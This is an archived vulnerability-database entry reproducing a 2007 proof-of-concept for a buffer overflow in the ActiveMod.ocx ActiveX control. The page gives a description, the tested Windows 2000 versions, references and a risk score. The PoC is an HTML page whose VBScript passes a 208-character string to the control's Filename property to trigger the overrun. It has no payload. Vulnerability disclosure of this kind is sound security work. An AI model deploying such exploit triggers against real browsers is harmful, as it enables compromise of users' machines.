Second Sight Software ActiveMod.ocx ActiveX Buffer Overflow POC

🗓️ 25 Apr 2007 00:00:00Reported by RootType

Second Sight ActiveMod.ocx Buffer Overflow POC by Umesh Wanve. Vulnerable to buffer overrun with CLSID 2078D6EC-693C-4FB2-AE7B-A6B8D2BC4DC8. Tested on Windows 2000 SP4. Educational purpose only


                                                &lt;!--

&nbsp;&nbsp;===============================================================================================
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Second&nbsp;Sight&nbsp;Software&nbsp;ActiveMod.ocx&nbsp;ActiveX&nbsp;Buffer&nbsp;Overflow&nbsp;POC
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;By&nbsp;Umesh&nbsp;Wanve&nbsp;
&nbsp;&nbsp;==============================================================================================&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;Date&nbsp;:&nbsp;24-04-2007
&nbsp;
&nbsp;&nbsp;Tested&nbsp;on&nbsp;Windows&nbsp;2000&nbsp;SP4&nbsp;Server&nbsp;English
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Windows&nbsp;2000&nbsp;SP4&nbsp;Professional&nbsp;English
&nbsp;&nbsp;
&nbsp;&nbsp;Reference:&nbsp;http://www.securityfocus.com/bid/23554

&nbsp;&nbsp;Vendor:&nbsp;http://www.freetoolsassociation.com
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://www.freetoolsassociation.com/fta/activegs/activemod.cab&nbsp;


&nbsp;&nbsp;
&nbsp;&nbsp;Desc:&nbsp;The&nbsp;filename&nbsp;parameter&nbsp;of&nbsp;CLSID&nbsp;2078D6EC-693C-4FB2-AE7B-A6B8D2BC4DC8&nbsp;is&nbsp;vulnerable.&nbsp;This&nbsp;activex&nbsp;gives&nbsp;error&nbsp;like,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Buffer&nbsp;Overrun&nbsp;detected.&nbsp;This&nbsp;is&nbsp;complied&nbsp;with&nbsp;/GS&nbsp;flag.

&nbsp;&nbsp;PS.&nbsp;This&nbsp;was&nbsp;written&nbsp;for&nbsp;educational&nbsp;purpose.&nbsp;Use&nbsp;it&nbsp;at&nbsp;your&nbsp;own&nbsp;risk.Author&nbsp;will&nbsp;be&nbsp;not&nbsp;be
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;responsible&nbsp;for&nbsp;any&nbsp;damage.
&nbsp;
&nbsp;&nbsp;Always&nbsp;thanks&nbsp;to&nbsp;Metasploit&nbsp;and&nbsp;Stroke.

--&gt;


&lt;html&gt;

&lt;title&gt;
&nbsp;Second&nbsp;Sight&nbsp;Software&nbsp;ActiveMod.ocx&nbsp;ActiveX&nbsp;Buffer&nbsp;Overflow&nbsp;POC&nbsp;-&nbsp;By&nbsp;Umesh&nbsp;Wanve
&lt;/title&gt;

&lt;body&gt;
&lt;OBJECT&nbsp;id=&quot;target&quot;&nbsp;WIDTH=445&nbsp;HEIGHT=40&nbsp;classid=&quot;clsid:2078D6EC-693C-4FB2-AE7B-A6B8D2BC4DC8&quot;&nbsp;&gt;&nbsp;&lt;/OBJECT&gt;

&lt;script&nbsp;language=&quot;vbscript&quot;&gt;
targetFile&nbsp;=&nbsp;&quot;C:\Research\activemod\ActiveMod.ocx&quot;
prototype&nbsp;&nbsp;=&nbsp;&quot;Invoke_Unknown&nbsp;Filename&nbsp;As&nbsp;String&quot;
memberName&nbsp;=&nbsp;&quot;Filename&quot;
progid&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;&quot;ActiveModLib.ActiveMod&quot;
argCount&nbsp;&nbsp;&nbsp;=&nbsp;1

arg1=String(208,&nbsp;&quot;A&quot;)

target.Filename&nbsp;=&nbsp;arg1

&lt;/script&gt;

&lt;/body&gt;

&lt;/html&gt;

25 Apr 2007 00:00Current

7.1High risk

Vulners AI Score7.1